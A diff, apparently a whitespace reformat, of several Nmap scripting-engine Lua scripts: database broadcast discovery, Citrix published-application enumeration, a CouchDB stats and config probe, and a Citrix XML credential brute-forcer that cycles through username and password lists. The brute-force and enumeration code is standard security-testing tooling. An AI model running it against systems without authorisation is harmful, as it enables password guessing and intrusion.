||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -32,157 +32,157 @@ prerule = function() return ( nmap.address_family() == "inet") end
|
|||||||
--
|
--
|
||||||
Ping = {
|
Ping = {
|
||||||
|
|
||||||
-- The PING request class
|
-- The PING request class
|
||||||
Request = {
|
Request = {
|
||||||
|
|
||||||
-- Creates a new Ping request
|
-- Creates a new Ping request
|
||||||
new = function(self)
|
new = function(self)
|
||||||
local o = {}
|
local o = {}
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
-- returns the ping request as a string
|
-- returns the ping request as a string
|
||||||
__tostring = function(self)
|
__tostring = function(self)
|
||||||
return bin.pack("HAH", "1b00003d0000000012", "CONNECTIONLESS_TDS",
|
return bin.pack("HAH", "1b00003d0000000012", "CONNECTIONLESS_TDS",
|
||||||
"000000010000040005000500000102000003010104080000000000000000070204b1")
|
"000000010000040005000500000102000003010104080000000000000000070204b1")
|
||||||
end
|
end
|
||||||
},
|
},
|
||||||
|
|
||||||
-- The Ping Response class
|
-- The Ping Response class
|
||||||
Response = {
|
Response = {
|
||||||
-- Creates a new response
|
-- Creates a new response
|
||||||
-- @param data string containing the raw data as received over the socket
|
-- @param data string containing the raw data as received over the socket
|
||||||
-- @return o instance of Response
|
-- @return o instance of Response
|
||||||
new = function(self, data)
|
new = function(self, data)
|
||||||
local o = { data = data }
|
local o = { data = data }
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
o:parse()
|
o:parse()
|
||||||
if ( o.dbinstance ) then
|
if ( o.dbinstance ) then
|
||||||
return o
|
return o
|
||||||
end
|
end
|
||||||
end,
|
end,
|
||||||
|
|
||||||
-- Parses the raw response and populates the
|
-- Parses the raw response and populates the
|
||||||
-- <code>dbinstance.name</code> and <code>dbinstance.port</code> fields
|
-- <code>dbinstance.name</code> and <code>dbinstance.port</code> fields
|
||||||
parse = function(self)
|
parse = function(self)
|
||||||
-- do a very basic length check
|
-- do a very basic length check
|
||||||
local pos, len = bin.unpack(">I", self.data)
|
local pos, len = bin.unpack(">I", self.data)
|
||||||
len = bit.band(len, 0x0000FFFF)
|
len = bit.band(len, 0x0000FFFF)
|
||||||
|
|
||||||
if ( len ~= #self.data ) then
|
if ( len ~= #self.data ) then
|
||||||
stdnse.print_debug(2, "The packet length was reported as %d, expected %d", len, #self.data)
|
stdnse.print_debug(2, "The packet length was reported as %d, expected %d", len, #self.data)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
local connectionless_tds
|
local connectionless_tds
|
||||||
pos, connectionless_tds = bin.unpack("p", self.data, 9)
|
pos, connectionless_tds = bin.unpack("p", self.data, 9)
|
||||||
if ( connectionless_tds ~= "CONNECTIONLESS_TDS" ) then
|
if ( connectionless_tds ~= "CONNECTIONLESS_TDS" ) then
|
||||||
stdnse.print_debug(2, "Did not find the expected CONNECTIONLESS_TDS header")
|
stdnse.print_debug(2, "Did not find the expected CONNECTIONLESS_TDS header")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
self.dbinstance = {}
|
self.dbinstance = {}
|
||||||
pos, self.dbinstance.name = bin.unpack("p", self.data, 40)
|
pos, self.dbinstance.name = bin.unpack("p", self.data, 40)
|
||||||
pos = pos + 2
|
pos = pos + 2
|
||||||
pos, self.dbinstance.port = bin.unpack(">S", self.data, pos)
|
pos, self.dbinstance.port = bin.unpack(">S", self.data, pos)
|
||||||
end,
|
end,
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
-- Main script interface
|
-- Main script interface
|
||||||
Helper = {
|
Helper = {
|
||||||
|
|
||||||
-- Creates a new helper instance
|
-- Creates a new helper instance
|
||||||
-- @param host table as received by the action method
|
-- @param host table as received by the action method
|
||||||
-- @param port table as received by the action method
|
-- @param port table as received by the action method
|
||||||
-- @param options table containing:
|
-- @param options table containing:
|
||||||
-- <code>timeout</code> - the amount of time to listen for responses
|
-- <code>timeout</code> - the amount of time to listen for responses
|
||||||
-- @return o instance of Helper
|
-- @return o instance of Helper
|
||||||
new = function(self, host, port, options)
|
new = function(self, host, port, options)
|
||||||
local o = {
|
local o = {
|
||||||
host = host,
|
host = host,
|
||||||
port = port,
|
port = port,
|
||||||
options = options or {}
|
options = options or {}
|
||||||
}
|
}
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
-- Sends a ping request to the service and processes the response
|
-- Sends a ping request to the service and processes the response
|
||||||
-- @return status true on success, false on failure
|
-- @return status true on success, false on failure
|
||||||
-- @return instances table of instance tables containing
|
-- @return instances table of instance tables containing
|
||||||
-- <code>name</code> - the instance name
|
-- <code>name</code> - the instance name
|
||||||
-- <code>ip</code> - the instance ip
|
-- <code>ip</code> - the instance ip
|
||||||
-- <code>port</code> - the instance port
|
-- <code>port</code> - the instance port
|
||||||
-- err string containing error message on failure
|
-- err string containing error message on failure
|
||||||
ping = function(self)
|
ping = function(self)
|
||||||
local socket = nmap.new_socket("udp")
|
local socket = nmap.new_socket("udp")
|
||||||
socket:set_timeout(1000)
|
socket:set_timeout(1000)
|
||||||
|
|
||||||
-- send 2 packets just in case
|
-- send 2 packets just in case
|
||||||
for i=1, 2 do
|
for i=1, 2 do
|
||||||
local ping_req = Ping.Request:new()
|
local ping_req = Ping.Request:new()
|
||||||
local status, err = socket:sendto(self.host, self.port, tostring(ping_req))
|
local status, err = socket:sendto(self.host, self.port, tostring(ping_req))
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to send broadcast packet"
|
return false, "Failed to send broadcast packet"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local stime = os.time()
|
local stime = os.time()
|
||||||
local instances = {}
|
local instances = {}
|
||||||
local timeout = self.options.timeout or ( 20 / ( nmap.timing_level() + 1 ) )
|
local timeout = self.options.timeout or ( 20 / ( nmap.timing_level() + 1 ) )
|
||||||
|
|
||||||
repeat
|
repeat
|
||||||
local status, data = socket:receive()
|
local status, data = socket:receive()
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
local response = Ping.Response:new(data)
|
local response = Ping.Response:new(data)
|
||||||
if ( response ) then
|
if ( response ) then
|
||||||
local status, _, _, rhost, _ = socket:get_info()
|
local status, _, _, rhost, _ = socket:get_info()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
socket:close()
|
socket:close()
|
||||||
return false, "Failed to get socket information"
|
return false, "Failed to get socket information"
|
||||||
end
|
end
|
||||||
response.dbinstance.ip = rhost
|
response.dbinstance.ip = rhost
|
||||||
-- avoid duplicates
|
-- avoid duplicates
|
||||||
instances[response.dbinstance.name] = response.dbinstance
|
instances[response.dbinstance.name] = response.dbinstance
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
until( os.time() - stime > timeout )
|
until( os.time() - stime > timeout )
|
||||||
socket:close()
|
socket:close()
|
||||||
|
|
||||||
return true, instances
|
return true, instances
|
||||||
end,
|
end,
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
|
|
||||||
local timeout = ( 20 / ( nmap.timing_level() + 1 ) )
|
local timeout = ( 20 / ( nmap.timing_level() + 1 ) )
|
||||||
local host = { ip = "255.255.255.255" }
|
local host = { ip = "255.255.255.255" }
|
||||||
local port = { number = 2638, protocol = "udp" }
|
local port = { number = 2638, protocol = "udp" }
|
||||||
|
|
||||||
local helper = Helper:new(host, port)
|
local helper = Helper:new(host, port)
|
||||||
local status, instances = helper:ping()
|
local status, instances = helper:ping()
|
||||||
|
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return ("\n ERROR: %s"):format(instances)
|
return ("\n ERROR: %s"):format(instances)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- if we don't have any instances, silently abort
|
-- if we don't have any instances, silently abort
|
||||||
if ( next(instances) == nil ) then
|
if ( next(instances) == nil ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
local result = {}
|
local result = {}
|
||||||
for _, instance in pairs(instances) do
|
for _, instance in pairs(instances) do
|
||||||
table.insert(result, ("ip=%s; name=%s; port=%d"):format(instance.ip, instance.name, instance.port))
|
table.insert(result, ("ip=%s; name=%s; port=%d"):format(instance.ip, instance.name, instance.port))
|
||||||
end
|
end
|
||||||
table.sort(result)
|
table.sort(result)
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -52,42 +52,42 @@ portrule = shortport.portnumber({8080,80,443}, "tcp")
|
|||||||
--
|
--
|
||||||
function verify_password( host, port, username, password, domain )
|
function verify_password( host, port, username, password, domain )
|
||||||
|
|
||||||
local response = citrixxml.request_validate_credentials(host, port, {Credentials={Domain=domain, Password=password, UserName=username}})
|
local response = citrixxml.request_validate_credentials(host, port, {Credentials={Domain=domain, Password=password, UserName=username}})
|
||||||
local cred_status = citrixxml.parse_validate_credentials_response(response)
|
local cred_status = citrixxml.parse_validate_credentials_response(response)
|
||||||
|
|
||||||
local account = {}
|
local account = {}
|
||||||
|
|
||||||
account.username = username
|
account.username = username
|
||||||
account.password = password
|
account.password = password
|
||||||
account.domain = domain
|
account.domain = domain
|
||||||
|
|
||||||
if cred_status.ErrorId then
|
if cred_status.ErrorId then
|
||||||
if cred_status.ErrorId == "must-change-credentials" then
|
if cred_status.ErrorId == "must-change-credentials" then
|
||||||
account.valid = true
|
account.valid = true
|
||||||
account.message = "Must change password at next logon"
|
account.message = "Must change password at next logon"
|
||||||
elseif cred_status.ErrorId == "account-disabled" then
|
elseif cred_status.ErrorId == "account-disabled" then
|
||||||
account.valid = true
|
account.valid = true
|
||||||
account.message = "Account is disabled"
|
account.message = "Account is disabled"
|
||||||
elseif cred_status.ErrorId == "account-locked-out" then
|
elseif cred_status.ErrorId == "account-locked-out" then
|
||||||
account.valid = false
|
account.valid = false
|
||||||
account.message = "Account Locked Out"
|
account.message = "Account Locked Out"
|
||||||
elseif cred_status.ErrorId == "failed-credentials" then
|
elseif cred_status.ErrorId == "failed-credentials" then
|
||||||
account.valid = false
|
account.valid = false
|
||||||
account.message = "Incorrect Password"
|
account.message = "Incorrect Password"
|
||||||
elseif cred_status.ErrorId == "unspecified" then
|
elseif cred_status.ErrorId == "unspecified" then
|
||||||
account.valid = false
|
account.valid = false
|
||||||
account.message = "Unspecified"
|
account.message = "Unspecified"
|
||||||
else
|
else
|
||||||
stdnse.print_debug("UNKNOWN response: " .. response)
|
stdnse.print_debug("UNKNOWN response: " .. response)
|
||||||
account.valid = false
|
account.valid = false
|
||||||
account.message = "failed"
|
account.message = "failed"
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
account.message = "Login was successful"
|
account.message = "Login was successful"
|
||||||
account.valid = true
|
account.valid = true
|
||||||
end
|
end
|
||||||
|
|
||||||
return account
|
return account
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -97,68 +97,68 @@ end
|
|||||||
-- @return string containing the result
|
-- @return string containing the result
|
||||||
function create_result_from_table(accounts)
|
function create_result_from_table(accounts)
|
||||||
|
|
||||||
local result = ""
|
local result = ""
|
||||||
|
|
||||||
for _, account in ipairs(accounts) do
|
for _, account in ipairs(accounts) do
|
||||||
result = result .. " " .. account.username .. ":" .. account.password .. " => " .. account.message .. "\n"
|
result = result .. " " .. account.username .. ":" .. account.password .. " => " .. account.message .. "\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
return "\n" .. result
|
return "\n" .. result
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local status, nextUser, nextPass
|
local status, nextUser, nextPass
|
||||||
local username, password
|
local username, password
|
||||||
local args = nmap.registry.args
|
local args = nmap.registry.args
|
||||||
local ntdomain = args.ntdomain
|
local ntdomain = args.ntdomain
|
||||||
local valid_accounts = {}
|
local valid_accounts = {}
|
||||||
|
|
||||||
if not ntdomain then
|
if not ntdomain then
|
||||||
return "FAILED: No domain specified (use ntdomain argument)"
|
return "FAILED: No domain specified (use ntdomain argument)"
|
||||||
end
|
end
|
||||||
|
|
||||||
status, nextUser = unpwdb.usernames()
|
status, nextUser = unpwdb.usernames()
|
||||||
|
|
||||||
if not status then
|
if not status then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
status, nextPass = unpwdb.passwords()
|
status, nextPass = unpwdb.passwords()
|
||||||
|
|
||||||
if not status then
|
if not status then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
username = nextUser()
|
username = nextUser()
|
||||||
|
|
||||||
-- iterate over userlist
|
-- iterate over userlist
|
||||||
while username do
|
while username do
|
||||||
password = nextPass()
|
password = nextPass()
|
||||||
|
|
||||||
-- iterate over passwordlist
|
-- iterate over passwordlist
|
||||||
while password do
|
while password do
|
||||||
local result = "Trying " .. username .. "/" .. password .. " "
|
local result = "Trying " .. username .. "/" .. password .. " "
|
||||||
local account = verify_password(host.ip, port.number, username, password, ntdomain)
|
local account = verify_password(host.ip, port.number, username, password, ntdomain)
|
||||||
|
|
||||||
if account.valid then
|
if account.valid then
|
||||||
|
|
||||||
table.insert(valid_accounts, account)
|
table.insert(valid_accounts, account)
|
||||||
|
|
||||||
if account.valid then
|
if account.valid then
|
||||||
stdnse.print_debug(1, "Trying %s/%s => Login Correct, Info: %s", username, password, account.message)
|
stdnse.print_debug(1, "Trying %s/%s => Login Correct, Info: %s", username, password, account.message)
|
||||||
else
|
else
|
||||||
stdnse.print_debug(1, "Trying %s/%s => Login Correct", username, password)
|
stdnse.print_debug(1, "Trying %s/%s => Login Correct", username, password)
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
stdnse.print_debug(1, "Trying %s/%s => Login Failed, Reason: %s", username, password, account.message)
|
stdnse.print_debug(1, "Trying %s/%s => Login Failed, Reason: %s", username, password, account.message)
|
||||||
end
|
end
|
||||||
password = nextPass()
|
password = nextPass()
|
||||||
end
|
end
|
||||||
|
|
||||||
nextPass("reset")
|
nextPass("reset")
|
||||||
username = nextUser()
|
username = nextUser()
|
||||||
end
|
end
|
||||||
|
|
||||||
return create_result_from_table(valid_accounts)
|
return create_result_from_table(valid_accounts)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -42,119 +42,119 @@ portrule = shortport.portnumber(1604, "udp")
|
|||||||
-- @return string row delimited with \n containing all published applications
|
-- @return string row delimited with \n containing all published applications
|
||||||
function process_pa_response(response)
|
function process_pa_response(response)
|
||||||
|
|
||||||
local pos, packet_len = bin.unpack("SS", response)
|
local pos, packet_len = bin.unpack("SS", response)
|
||||||
local app_name
|
local app_name
|
||||||
local pa_list = {}
|
local pa_list = {}
|
||||||
|
|
||||||
if packet_len < 40 then
|
if packet_len < 40 then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- the list of published applications starts at offset 40
|
-- the list of published applications starts at offset 40
|
||||||
local offset = 41
|
local offset = 41
|
||||||
|
|
||||||
while offset < packet_len do
|
while offset < packet_len do
|
||||||
pos, app_name = bin.unpack("z", response:sub(offset))
|
pos, app_name = bin.unpack("z", response:sub(offset))
|
||||||
offset = offset + pos - 1
|
offset = offset + pos - 1
|
||||||
|
|
||||||
table.insert(pa_list, app_name)
|
table.insert(pa_list, app_name)
|
||||||
end
|
end
|
||||||
|
|
||||||
return pa_list
|
return pa_list
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local packet, counter
|
local packet, counter
|
||||||
local query = {}
|
local query = {}
|
||||||
local pa_list = {}
|
local pa_list = {}
|
||||||
|
|
||||||
--
|
--
|
||||||
-- Packets were intercepted from the Citrix Program Neighborhood client
|
-- Packets were intercepted from the Citrix Program Neighborhood client
|
||||||
-- They are used to query a server for it's list of servers
|
-- They are used to query a server for it's list of servers
|
||||||
--
|
--
|
||||||
-- We're really not interested in the responses to the first two packets
|
-- We're really not interested in the responses to the first two packets
|
||||||
-- The third response contains the list of published applications
|
-- The third response contains the list of published applications
|
||||||
-- I couldn't find any documentation on this protocol so I'm providing
|
-- I couldn't find any documentation on this protocol so I'm providing
|
||||||
-- some brief information for the bits and bytes this script uses.
|
-- some brief information for the bits and bytes this script uses.
|
||||||
--
|
--
|
||||||
-- Spec. of response to query[2] that contains a list of published apps
|
-- Spec. of response to query[2] that contains a list of published apps
|
||||||
--
|
--
|
||||||
-- offset size content
|
-- offset size content
|
||||||
-- -------------------------
|
-- -------------------------
|
||||||
-- 0 16-bit Length
|
-- 0 16-bit Length
|
||||||
-- 12 32-bit Server IP (not used here)
|
-- 12 32-bit Server IP (not used here)
|
||||||
-- 30 8-bit Last packet (1), More packets(0)
|
-- 30 8-bit Last packet (1), More packets(0)
|
||||||
-- 40 - null-separated list of applications
|
-- 40 - null-separated list of applications
|
||||||
--
|
--
|
||||||
query[0] = string.char(
|
query[0] = string.char(
|
||||||
0x1e, 0x00, -- Length: 30
|
0x1e, 0x00, -- Length: 30
|
||||||
0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x00, 0x00
|
0x00, 0x00, 0x00, 0x00
|
||||||
)
|
)
|
||||||
|
|
||||||
query[1] = string.char(
|
query[1] = string.char(
|
||||||
0x20, 0x00, -- Length: 32
|
0x20, 0x00, -- Length: 32
|
||||||
0x01, 0x36, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
0x01, 0x36, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||||
)
|
)
|
||||||
|
|
||||||
query[2] = string.char(
|
query[2] = string.char(
|
||||||
0x2a, 0x00, -- Length: 42
|
0x2a, 0x00, -- Length: 42
|
||||||
0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x21, 0x00, 0x02, 0x00, 0x00, 0x00,
|
0x00, 0x00, 0x21, 0x00, 0x02, 0x00, 0x00, 0x00,
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||||
)
|
)
|
||||||
|
|
||||||
counter = 0
|
counter = 0
|
||||||
|
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
socket:set_timeout(5000)
|
socket:set_timeout(5000)
|
||||||
|
|
||||||
local try = nmap.new_try(function() socket:close() end)
|
local try = nmap.new_try(function() socket:close() end)
|
||||||
|
|
||||||
try( socket:connect(host, port) )
|
try( socket:connect(host, port) )
|
||||||
|
|
||||||
-- send the two first packets and never look back
|
-- send the two first packets and never look back
|
||||||
repeat
|
repeat
|
||||||
try( socket:send(query[counter]) )
|
try( socket:send(query[counter]) )
|
||||||
packet = try(socket:receive())
|
packet = try(socket:receive())
|
||||||
counter = counter + 1
|
counter = counter + 1
|
||||||
until (counter>#query)
|
until (counter>#query)
|
||||||
|
|
||||||
-- process the first response
|
-- process the first response
|
||||||
pa_list = process_pa_response( packet )
|
pa_list = process_pa_response( packet )
|
||||||
|
|
||||||
--
|
--
|
||||||
-- the byte at offset 31 in the response has a really magic function
|
-- the byte at offset 31 in the response has a really magic function
|
||||||
-- if it is set to zero (0) we have more response packets to process
|
-- if it is set to zero (0) we have more response packets to process
|
||||||
-- if it is set to one (1) we have arrived at the last packet of our journey
|
-- if it is set to one (1) we have arrived at the last packet of our journey
|
||||||
--
|
--
|
||||||
while packet:sub(31,31) ~= string.char(0x01) do
|
while packet:sub(31,31) ~= string.char(0x01) do
|
||||||
packet = try( socket:receive() )
|
packet = try( socket:receive() )
|
||||||
local tmp_table = process_pa_response( packet )
|
local tmp_table = process_pa_response( packet )
|
||||||
|
|
||||||
for _,v in pairs(tmp_table) do
|
for _,v in pairs(tmp_table) do
|
||||||
table.insert(pa_list, v)
|
table.insert(pa_list, v)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- set port to open
|
-- set port to open
|
||||||
if #pa_list>0 then
|
if #pa_list>0 then
|
||||||
nmap.set_port_state(host, port, "open")
|
nmap.set_port_state(host, port, "open")
|
||||||
end
|
end
|
||||||
|
|
||||||
socket:close()
|
socket:close()
|
||||||
|
|
||||||
return stdnse.format_output(true, pa_list)
|
return stdnse.format_output(true, pa_list)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -51,7 +51,7 @@ categories = {"discovery", "safe"}
|
|||||||
portrule = shortport.port_or_service({5984})
|
portrule = shortport.port_or_service({5984})
|
||||||
-- Some lazy shortcuts
|
-- Some lazy shortcuts
|
||||||
local function dbg(str,...)
|
local function dbg(str,...)
|
||||||
stdnse.print_debug("couchdb-stats:"..str, ...)
|
stdnse.print_debug("couchdb-stats:"..str, ...)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
@@ -62,112 +62,112 @@ local DISCARD = {stddev=1,min=1,max=1, mean=1}
|
|||||||
-- @param data a table containg data
|
-- @param data a table containg data
|
||||||
--@return another table containing data, with some keys removed
|
--@return another table containing data, with some keys removed
|
||||||
local function queryResultToTable(data)
|
local function queryResultToTable(data)
|
||||||
local result = {}
|
local result = {}
|
||||||
for k,v in pairs(data) do
|
for k,v in pairs(data) do
|
||||||
dbg("(%s,%s)",k,tostring(v))
|
dbg("(%s,%s)",k,tostring(v))
|
||||||
if DISCARD[k] ~= 1 then
|
if DISCARD[k] ~= 1 then
|
||||||
if type(v) == 'table' then
|
if type(v) == 'table' then
|
||||||
if v["description"] ~= nil then
|
if v["description"] ~= nil then
|
||||||
k = string.format("%s (%s)",tostring(k), tostring(v["description"]))
|
k = string.format("%s (%s)",tostring(k), tostring(v["description"]))
|
||||||
v["description"] = nil
|
v["description"] = nil
|
||||||
end
|
end
|
||||||
table.insert(result,k)
|
table.insert(result,k)
|
||||||
table.insert(result,queryResultToTable(v))
|
table.insert(result,queryResultToTable(v))
|
||||||
else
|
else
|
||||||
table.insert(result,(("%s = %s"):format(tostring(k), tostring(v))))
|
table.insert(result,(("%s = %s"):format(tostring(k), tostring(v))))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local data, result, err
|
local data, result, err
|
||||||
|
|
||||||
data = http.get( host, port, '/_stats' )
|
data = http.get( host, port, '/_stats' )
|
||||||
|
|
||||||
-- check that body was received
|
-- check that body was received
|
||||||
if not data.body or data.body == "" then
|
if not data.body or data.body == "" then
|
||||||
local msg = ("%s did not respond with any data."):format(host.targetname or host.ip )
|
local msg = ("%s did not respond with any data."):format(host.targetname or host.ip )
|
||||||
dbg( msg )
|
dbg( msg )
|
||||||
return msg
|
return msg
|
||||||
end
|
end
|
||||||
|
|
||||||
-- The html body should look like this :
|
-- The html body should look like this :
|
||||||
--
|
--
|
||||||
--{"httpd_status_codes":{"200":{"current":10,"count":29894,"mean":0.0003345152873486337,"min":0,"max":1,"stddev":0.01828669972606202,"description":"number of HTTP 200 OK responses"},"500":{"current":1,"count":28429,"mean":0.00003517534911534013,"min":0,"max":1,"stddev":0.005930776661631644,"description":"number of HTTP 500 Internal Server Error responses"}},"httpd_request_methods":{"GET":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP GET requests"}},"httpd":{"requests":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP requests"}},"couchdb":{"request_time":{"current":23,"count":12,"mean":32.58333333333333,"min":1,"max":287,"stddev":77.76723638882608,"description":"length of a request inside CouchDB without MochiWeb"}}}
|
--{"httpd_status_codes":{"200":{"current":10,"count":29894,"mean":0.0003345152873486337,"min":0,"max":1,"stddev":0.01828669972606202,"description":"number of HTTP 200 OK responses"},"500":{"current":1,"count":28429,"mean":0.00003517534911534013,"min":0,"max":1,"stddev":0.005930776661631644,"description":"number of HTTP 500 Internal Server Error responses"}},"httpd_request_methods":{"GET":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP GET requests"}},"httpd":{"requests":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP requests"}},"couchdb":{"request_time":{"current":23,"count":12,"mean":32.58333333333333,"min":1,"max":287,"stddev":77.76723638882608,"description":"length of a request inside CouchDB without MochiWeb"}}}
|
||||||
|
|
||||||
local status, result = json.parse(data.body)
|
local status, result = json.parse(data.body)
|
||||||
if not status then
|
if not status then
|
||||||
dbg(result)
|
dbg(result)
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Here we know it is a couchdb
|
-- Here we know it is a couchdb
|
||||||
port.version.name ='httpd'
|
port.version.name ='httpd'
|
||||||
port.version.product='Apache CouchDB'
|
port.version.product='Apache CouchDB'
|
||||||
nmap.set_port_version(host,port)
|
nmap.set_port_version(host,port)
|
||||||
|
|
||||||
-- We have a valid table in result containing the parsed json
|
-- We have a valid table in result containing the parsed json
|
||||||
-- now, get all the interesting bits
|
-- now, get all the interesting bits
|
||||||
|
|
||||||
result = queryResultToTable(result)
|
result = queryResultToTable(result)
|
||||||
|
|
||||||
-- Additionally, we can check if authentication is used :
|
-- Additionally, we can check if authentication is used :
|
||||||
-- The following actions are restricted if auth is used
|
-- The following actions are restricted if auth is used
|
||||||
-- create db (PUT /database)
|
-- create db (PUT /database)
|
||||||
-- delete db (DELETE /database)
|
-- delete db (DELETE /database)
|
||||||
-- Creating a design document (PUT /database/_design/app)
|
-- Creating a design document (PUT /database/_design/app)
|
||||||
-- Updating a design document (PUT /database/_design/app?rev=1-4E2)
|
-- Updating a design document (PUT /database/_design/app?rev=1-4E2)
|
||||||
-- Deleting a design document (DELETE /database/_design/app?rev=1-6A7)
|
-- Deleting a design document (DELETE /database/_design/app?rev=1-6A7)
|
||||||
-- Triggering compaction (POST /_compact)
|
-- Triggering compaction (POST /_compact)
|
||||||
-- Reading the task status list (GET /_active_tasks)
|
-- Reading the task status list (GET /_active_tasks)
|
||||||
-- Restart the server (POST /_restart)
|
-- Restart the server (POST /_restart)
|
||||||
-- Read the active configuration (GET /_config)
|
-- Read the active configuration (GET /_config)
|
||||||
-- Update the active configuration (PUT /_config)
|
-- Update the active configuration (PUT /_config)
|
||||||
|
|
||||||
data = http.get( host, port, '/_config' )
|
data = http.get( host, port, '/_config' )
|
||||||
local status, authresult = json.parse(data.body)
|
local status, authresult = json.parse(data.body)
|
||||||
|
|
||||||
-- If authorization is used, we should get back something like
|
-- If authorization is used, we should get back something like
|
||||||
-- {"error":"unauthorized","reason":"You are not a server admin."}
|
-- {"error":"unauthorized","reason":"You are not a server admin."}
|
||||||
-- Otherwise, a *lot* of data, :
|
-- Otherwise, a *lot* of data, :
|
||||||
-- {"httpd_design_handlers":{"_info":"{couch_httpd_db, handle_design_info_req}",
|
-- {"httpd_design_handlers":{"_info":"{couch_httpd_db, handle_design_info_req}",
|
||||||
-- "_list":"{couch_httpd_show, handle_view_list_req}","_show":"{couch_httpd_show, handle_doc_show_req}",
|
-- "_list":"{couch_httpd_show, handle_view_list_req}","_show":"{couch_httpd_show, handle_doc_show_req}",
|
||||||
-- "_update":"{couch_httpd_show, handle_doc_update_req}","_view":"{couch_httpd_view, handle_view_req}"},
|
-- "_update":"{couch_httpd_show, handle_doc_update_req}","_view":"{couch_httpd_view, handle_view_req}"},
|
||||||
-- "httpd_global_handlers":{"/":"{couch_httpd_misc_handlers, handle_welcome_req, <<\"Welcome\">>}",
|
-- "httpd_global_handlers":{"/":"{couch_httpd_misc_handlers, handle_welcome_req, <<\"Welcome\">>}",
|
||||||
-- "_active_tasks":"{couch_httpd_misc_handlers, handle_task_status_req}",
|
